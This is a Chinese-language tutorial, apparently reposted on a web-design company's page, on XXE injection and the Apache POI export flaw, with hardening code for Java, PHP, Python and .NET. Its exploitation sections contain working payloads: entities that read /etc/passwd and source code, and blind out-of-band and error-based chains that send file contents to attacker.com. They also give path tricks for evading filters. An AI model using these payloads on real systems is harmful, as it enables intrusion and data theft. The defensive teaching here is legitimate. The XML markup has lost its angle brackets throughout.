资讯动态

XXE注入漏洞原理与利用:从XML外部实体到Apache POI漏洞解析

发布时间:2026/9/16 22:58:55 来源:尧图企业网站定制
先给自己定个位。做安全测试这些年遇到不少开发同事问同一个问题为什么我的接口明明做了参数校验还是被扫描器报了个XXE每次我都得从头讲一遍XML外部实体是怎么回事。这篇文章就把这摊事彻底说清楚——XXE注入漏洞的原理、到底怎么触发、以及数据读取层面的利用思路顺带把Apache POI那个经典的导出XXE漏洞一起拆了。文章适合刚入门的安全新人、写后端接口的研发以及正在做代码审计的朋友看完能直接对照自己的项目排查。1. 先搞清楚XXE到底是什么从XML外部实体说起1.1 XML外部实体这个机制本身是干什么用的XML文档里有个东西叫DTD全称是Document Type Definition文档类型定义。它的作用有点像快递面单上的寄件人信息栏可以声明一些“宏”方便在文档主体里反复引用。这个“宏”在XML里有三种叫法内部实体、外部实体、参数实体。内部实体很好理解就是在DTD里直接写了值!DOCTYPE foo [ !ENTITY xxe 这是一个内部实体 ]外部实体就不一样了它的值不是写死在文档里的而是通过SYSTEM关键字引用了一个外部资源可以是本地文件也可以是远程URL!DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ]问题恰恰出在这个设计上。XML解析器拿到DTD声明之后按照规范会去加载外部实体引用的资源解析成字符串后替换到文档内容里。这个动作本身是XML规范的一部分任何一门语言里符合规范的XML解析器都会这么做。所以说XXE漏洞的根本原因不是某个库写错了而是“XML解析器对不可信输入加载了外部实体”这件事本身就有风险。我打个比方这相当于快递公司收到一个包裹包裹外面写了一句“去这个地址取货物来装进包裹里”。快递公司如果照做了那寄包裹的人就可以指向任何地方——比如指向服务器上的密码文件。XML解析器就是这么个老实巴交的快递员你让它去取它就真去取。1.2 为什么XXE的危害等级一直被定得很高先看这份通用的XXE利用后果清单利用目标典型效果危害级别读取本地文件读取/etc/passwd、配置文件、源代码高发起内网请求SSRF探测内网端口、访问云元数据高执行系统命令在安装了PHP expect扩展等特殊环境时致命造成拒绝服务Billion Laughs 实体膨胀攻击中高内网文件共享访问访问SMB共享有时可捕获Net-NTLM Hash高定级高的原因在于它通常拿到了一个“任意文件读取内网探测”的组合能力。对一个Web应用来说攻击者能读到配置文件往往意味着能读到数据库账号密码、OSS密钥、加密盐值等敏感信息后续的横向渗透路径就这么被撕开了。还有一个容易被忽视的点XXE不一定要有回显才能利用盲XXE可以通过报错信息、OOB外带通道把数据带出来这个后文会展开讲。现在很多扫描器已经把XXE列为和SQL注入、RCE并列的高危漏洞因为它在资产暴露面里出现的频率确实不低尤其是文档解析类业务比如上传Word、Excel、SVG图片这类场景。1.3 严格来说不只是“解析XML”才算有漏洞这里我想多说一句很多人以为只有直接接收XML数据流才会触发XXE。但实际业务里XML经常是“被藏起来”的那一层。常见的藏身之处包括SVG图片本质是XML格式、Word文档docx内部是打包好的XML、Excel文档xlsx同理、PDF的XMP元数据、RSS订阅源、SOAP接口报文、SAML断言等。这些格式统一到根上都是XML只要有哪一层逻辑把其中的XML片段交给了解析器且没有禁用外部实体漏洞就可能存在。这也是Apache POI那个漏洞会引发广泛关注的原因——它不是显眼的外层接口而是藏在Excel导出流程里的XML解析逻辑。很多系统表面上看起来就是个普通的导出接口谁能想到后端在处理Excel时会踩中XXE。2. 触发方式与高发场景为什么很多业务系统经常踩坑2.1 常规直接注入接口直接接收XML的典型攻击报文最简单的触发场景就是后端接口接收XML格式的请求体解析后直接拼接返回内容。攻击者提交这样一段报文?xml version1.0 encodingUTF-8? !DOCTYPE foo [ !ENTITY xxe SYSTEM file:///etc/passwd ] root namexxe;/name /root如果解析器没禁用DTD、没禁用外部实体xxe;会被替换为/etc/passwd的文件内容。后端如果把这个值回显到响应里那文件内容就顺理成章地到了攻击者手里。这个场景下判断是否存在漏洞可以用一个很轻量的测试方法先构造一个引用本地唯一文件的实体比如file:///etc/hosts如果响应里出现了localhost关键字基本就能确认存在文件读取型XXE。有些接口不是完整接收XML文档而是接收JSON后再把某个字段拼进XML模板做二次解析这种“隐藏型XML解析”在Java的DocumentBuilderFactory用法里非常普遍。比如做报文转换的时候代码里写了DocumentBuilderFactory.newInstance()然后parse方法接收了一个由前端传参拼接出来的XML字符串这里就会踩雷。2.2 文件上传场景SVG、Office文档中的XML解析另一个高频入口是文件上传。SVG图片就是一个标准的XML文档攻击者可以构造这样一张图片?xml version1.0 encodingUTF-8? !DOCTYPE svg [ !ENTITY xxe SYSTEM file:///etc/passwd ] svg xmlnshttp://www.w3.org/2000/svg width100 height100 textxxe;/text /svg上传头像、上传图片预览这类业务如果直接对SVG做解析处理处理完把SVG里某个文本节点的值取出攻击者就能读到服务器文件。此外docx、xlsx这类Office文件本身就是ZIP压缩包内部有[Content_Types].xml、word/document.xml等大量XML文档。如果系统提供了“导入Word解析标题”“导入Excel批量导入”的功能后端库会把文件内的XML解压提取并解析这时候如果库版本有漏洞或者解析器配置不当文件内嵌的外部实体就会被加载。特别是Apache POI的场景我单独放在后面讲因为这个库的使用面太广了很多做报表导出、数据导入的Java项目都在用它中招概率非常高。2.3 参数实体与嵌套利用盲注型XXE的常见触发写法在某些场景下外部实体的内容不会直接出现在响应里。这时候攻击者会利用参数实体把数据通过OOBOut-of-Band通道外带。参数实体在DTD内部使用以%开头只能在DTD中引用不能出现在XML文档主体里。经典的盲注型payload长这样!DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ]其中evil.dtd放在攻击者控制的服务器上内容为!ENTITY % all !ENTITY #x25; send SYSTEM http://attacker.com/collect?data%file; %all;这条链路的执行逻辑是目标服务器解析XML时加载了攻击者服务器上的evil.dtd然后DTD文件内部又把本地文件内容拼到了http://attacker.com/collect?data...这个URL参数里于是文件内容作为HTTP请求的一部分发到了攻击者服务器上。这就是盲XXE的完整外带链路。这种触发方式的好处是即便应用对XML解析结果完全无回显只要解析器能发起HTTP请求数据就能出来。这个“只要”其实很苛刻——需要目标服务器能出网访问攻击者的服务器内网环境经常不通外网这条路径就会失效。2.4 高发场景自查清单根据我的经验下面这些业务模块是XXE的重灾区后台管理系统的“数据导入导出”功能尤其是Excel、CSV转XML的模块对接第三方支付、物流、政企平台时使用SOAP或自定义XML报文协议的模块前端图形编辑器的SVG导出、预览功能报表引擎解析XML模板的功能单点登录系统中解析SAML断言的功能旧版中间件自带的XML-RPC服务如果你的系统里有这些模块且代码直接使用了DocumentBuilderFactory、SAXParserFactory、XMLReader、TransformerFactory等解析器那就要重点检查是否设置了下文会说的那几个安全属性。3. 数据读取的利用路径与绕过思路从直接回显到盲注3.1 文件读取的基础流程file协议的地址映射规则利用XXE读文件时file://协议需要遵循URL格式。完整的file URL形如file:///etc/passwd file:///C:/Windows/win.ini file://localhost/etc/hostname注意第三段有三级斜杠——file:后面跟///表示本地绝对路径。Windows下读取文件路径大小写不敏感但盘符的写法需要注意file:///C:/Windows/win.ini和file:///c:/windows/win.ini效果一样。还有个小技巧有些解析器对特殊字符处理不严格可以尝试在路径中插入/./来绕过简单的关键词过滤比如file:///etc/./passwd file:///etc/foobar/../passwd这两个路径解析后最终都指向/etc/passwd。有些开发会用replace(file://, )这种简单过滤方式这种写法是挡不住上述路径变形的。3.2 不同语言和环境下外带数据可用的协议除了file协议XXE支持的外带协议因解析器和运行语言而异。这是我在实测中总结的常用能力表解析器/环境支持的协议可用场景JavaJAXPfile, http, https, jar, netdoc主流Java后端PHPlibxml2file, http, ftp, phpfilter/expectPHP站点filter很常用Pythonlxmlfile, http, ftp数据接口、爬虫解析.NETXmlDocumentfile, http, https, ftpWindows环境libxml2C/Cfile, http, ftp各类原生应用PHP环境里有个特别灵活的玩法。很多PHP站点禁用了file_get_contents读取远程文件但libxml2层面的过滤器仍然有效可以直接在实体里写!ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/var/www/html/config.php这样读出来的源码是Base64编码的有效避免XML解析器因为文件内容里有特殊符号比如、而中断解析。这个技巧在处理包含代码、标签符号的目标文件时几乎是必用的。3.3 无回显时的数据判断技巧报错信息也能带出文件内容盲XXE不是只有OOB一条路。有些解析器在实体内容包含特殊字符导致XML解析失败时会把具体错误信息回显到响应里。结合DTD的报错机制可以构造出“错误信息携带文件数据”的效果。经典的报错型payload!DOCTYPE foo [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/error.dtd %dtd; ]error.dtd内容!ENTITY % content !ENTITY #x25; eval #x22;%file;#x22;这种方式的原理是将%file;的值嵌入到某个必定触发解析错误的位置解析器处理到这个畸形实体时会把内嵌的文件内容带入错误提示而错误提示又在应用层回显到了前端。这个思路在Java和PHP的某些解析器上都适用虽然调试过程比较曲折但很多时候是唯一能拿到数据的途径。3.4 进阶文件内容无法完整读取时的处理思路如果你的目标文件很大或者文件内容包含特殊字符导致解析中断有几个实际的绕过策略可以尝试。字符串截断可以用参数实体配合子串截取但DTD里没有直接定义子串截取的函数你可以分多次读取同一个文件的不同部分。比如先读前100个字符再通过URL的Range参数或者预定义位置很多文件前面有固定格式头部来定位偏移量。虽然DTD没有官方substring但在某些解析器上可以用字符遍历的穷举法逐字带出内容这个过程比较痛苦但确实可行。更常用的方法是先读取目录结构。通过file:///协议在部分Java版本和libxml2上可以列出目录内容获知目标文件名后再精确读取。比如先读file:///var/www/html/列出目录锁定config.php存在再定向读文件。3.5 Apache POI的XSSFExportToXml漏洞在数据读取中的连锁反应这里回到热词里提到的Apache POI。它的问题出在导出Excel时把段落XML嵌入到Sheet的Weird区块然后通过XSSFExportToXml.exportToXML()方法导出。这个方法在内部创建的XML解析器没有显式禁用外部实体所以当Excel里预先被写入一个带有外部实体声明的自定义XML时导出动作就会触发实体加载。攻击者可以先制作一个包含如下内容的Excel文件xsl:stylesheet xmlns:xslhttp://www.w3.org/1999/XSL/Transform !DOCTYPE xsl [ !ENTITY xxe SYSTEM file:///etc/passwd ] xsl:template match/ htmlxxe;/html /xsl:template /xsl:stylesheet把它作为sheet校验规则或自定义XML填入工作簿诱导应用调用导出接口后后端如果直接用POI的XSSFExportToXml导出文件内容就会被带出来。这类漏洞最麻烦的地方在于入口不是攻击者直接提交的XML而是“看起来是个普通的Excel文件”。常规的WAF和参数检测根本不会拦截二进制上传等导出功能被调用漏洞已经被触发。这个案例给研发的警醒是凡是依赖库能解析XML的不管这个XML是在哪一层出现的都要统一加固不能只盯着外层接口。4. 防御方案解析解析器加固的完整配置清单4.1 Java生态DocumentBuilderFactory与SAXParserFactory的标准配置先给一份Java里相对完整的加固配置。核心操作是禁用DTD和禁用外部实体DocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); try { // 禁用DTD dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); // 禁用外部通用实体 dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); // 禁用参数实体 dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false); } catch (ParserConfigurationException e) { e.printStackTrace(); }有些解析器在较早版本里对上述Feature支持不全保险起见加上这几个属性dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, ); dbf.setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, );注意disallow-doctype-decl设为true后文档里只要出现!DOCTYPE就会直接抛异常。如果业务上真的需要接收带DTD的XML那就退而求其次把external-general-entities和external-parameter-entities设为false。但我的建议是能禁DTD就尽量禁因为DTD在绝大多数业务场景中根本没有使用价值留着只会增加攻击面。SAXParserFactory和XMLReader的配置方法同理核心Feature名称是一样的只是入口不同。4.2 PHP生态libxml2的全局配置与loadXML拦截PHP端相对简单libxml2从2.9.0版本开始默认不加载外部实体但很多老环境或者手动打开LIBXML_NOENT选项的情况仍会出问题。加固方案是调用libxml_disable_entity_loader(true)libxml_disable_entity_loader(true); $doc new DOMDocument(); $doc-loadXML($xml);同时读取文件时传递LIBXML_NONET选项阻断网络请求$doc-loadXML($xml, LIBXML_NONET | LIBXML_NOENT);注意LIBXML_NOENT本身是“加载实体”的选项如果你必须用它来保证原有功能那一定要配合LIBXML_NONET使用至少能防止解析器发起远程HTTP请求。4.3 Python与.NET的防御对照Python里常见的是lxml库最佳实践是做两层设置一层禁用实体加载一层禁用网络访问from lxml import etree parser etree.XMLParser(resolve_entitiesFalse, no_networkTrue, load_dtdFalse) root etree.fromstring(xml_data, parserparser)注意resolve_entitiesFalse仍可能允许DTD被加载load_dtdFalse才能真正阻止DTD解析直接用把两者都设为False安全层级最高。.NET环境在较新版本4.5.2里XmlDocument默认不再解析外部实体但在老版本或显式使用XmlReader时仍需手动设置XmlReaderSettings settings new XmlReaderSettings(); settings.DtdProcessing DtdProcessing.Prohibit; XmlReader reader XmlReader.Create(new StringReader(xml), settings);如果业务确实需要DTD则退而设置为DtdProcessing.Parse同时设置XmlResolver nullsettings.DtdProcessing DtdProcessing.Parse; settings.XmlResolver null;4.4 中间层防御WAF、输入校验与依赖升级到解析器这层加固完后别忘了中间层。WAF规则里如果能匹配到!DOCTYPE和!ENTITY这两个关键组合就能直接在入口拦截一大波扫描流量但不是所有业务都部署了WAF尤其内网系统。更务实的做法是代码层面做输入校验。对非XML类型的接口明确拒绝text/xml的Content-Type对确实需要接收XML的场景解析前先检查报文里是否包含!DOCTYPE关键字包含则直接拒绝。这种做法比较粗糙但作为纵深防御的最低层也能起到作用。依赖升级这块必须单独说。Apache POI的用户需要至少升级到4.1.1版本CVE-2019-12415修复版本同时建议跟进POI-OOXML的补丁更新。各个语言生态里XML解析器的安全修复大部分是通过版本升级完成的把老旧的解析库锁在一个低版本里等于把漏洞锁在自己的系统里。5. 做测试这几年踩过的坑XXE排查中的常见问题与心得5.1 扫描器报了XXE但我手工复现却读不到文件这个情况我遇到过很多次。扫描器报XXE有两种可能一是扫描器向目标发送了恶意XML目标解析时抛出了异常扫描器根据异常特征误报二是解析器确实加载了外部实体但响应里没有任何回显位置扫描器只是根据带外请求的DNS解析记录确认漏洞。手工复现时读不到文件最常见的原因是目标解析器禁用了外部实体加载但保留了DTD解析——这种情况下实体声明被接受但实体值不替换。这时候把SYSTEM换成远程URL去探测如果目标会发起请求说明还能做盲XXE只是本地文件读取失败而已。如果是file://读不到可以试netdoc://Java或php://filterPHP不同协议的可用性差异确实很大。5.2 用报错型XXE时中文和特殊字符会导致解析彻底失败这是我在读包含中文的配置文件时频繁踩到的坑。XML解析器对非法字符非常敏感文件内容里如果包含、、中文全角字符的部分编码组合解析器会直接抛错导致整个DTD执行中断。解决办法是优先读取Base64编码后的值。PHP环境下用php://filter/readconvert.base64-encode/resource...做一次编码这样无论原始内容是什么字符外带时都是URL安全的Base64内容到攻击者服务器后再解码。Java环境下可以用jar:协议配合编码类但配置复杂得多一般推荐先读无特殊字符的系统文件比如/etc/hostname确认漏洞存在后再升级读取策略。5.3 目标不出网盲XXE链路全部失效怎么办遇到严格隔离的内网环境是比较难受的。目标服务器无法访问外网OOB链路就被切断了。这时候有三条路可以试。第一条是报错回显看响应里是否能返回解析错误详情如果应用层会把异常堆栈输出到响应体报错型XXE仍然有效。第二条是延迟注入用大型实体Billion Laughs组合或外部超大文件读取来制造响应延迟通过时间差来判断文件是否存在这种方式只能做存在性判断拿不到内容。第三条最笨但最有效——回到业务逻辑看看解析后的XML数据有没有进入数据库、日志、导出文件等位置比如把文件内容拼进实体后既无回显也不出错但应用把解析结果存到了数据库的某个字段里研发把那个字段查一下数据就到手了。这种场景在后端解析XML做数据入库的业务里很常见。5.4 给团队做XXE修复验收的检查清单如果你正好负责推动XXE漏洞修复我建议验收时对照下面这个清单逐一确认确认所有XML解析入口统一收口不能在各个业务代码里各自new解析器线上使用的是最低安全版本的解析库Java、PHP、Python生态各有对应的版本基线对解析器配置统一封装默认禁用DTD、禁用外部实体需要支持的场景走白名单日志和异常响应中不回显XML解析错误的完整内容文件上传功能对SVG、Office文档等XML格式做了类型限制外部接口对接时明确约定不接受DTD声明的XML报文定期用自动化扫描器对全部接口做XML实体注入探测5.5 个人建议把“解析XML”这事当成高危操作对待从实际排查的经验看XXE出问题往往不是某一行代码写错了而是整个团队对XML解析这件事缺少敬畏。大家默认认为解析器是可信的、格式是安全的但XML这个格式在安全上的坑比JSON多得多。JSON没有实体、没有外部引用、没有DTD这些特性所以不会有类似问题。我个人做安全评审时有个原则凡是代码里出现了parse、loadXML、DocumentBuilder这类关键词一律默认存在XXE风险直到确认解析器配置加固过。这个原则帮团队拦下了好几个本来会带上线的隐患。这也是为什么现在越来越多项目在对接数据格式时优先选择JSON、Protobuf这类更安全、更轻量的序列化方案。如果业务上必须用XML比如SAML、SOAP、Excel那就老老实实把解析器加固做到位然后把这篇文章里的检查清单交给研发团队让他们逐条对照落实。等我哪次有机会再讲讲结合XXE做内网端口探测的思路那个话题更隐蔽但在真实授权测试里作用不小。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价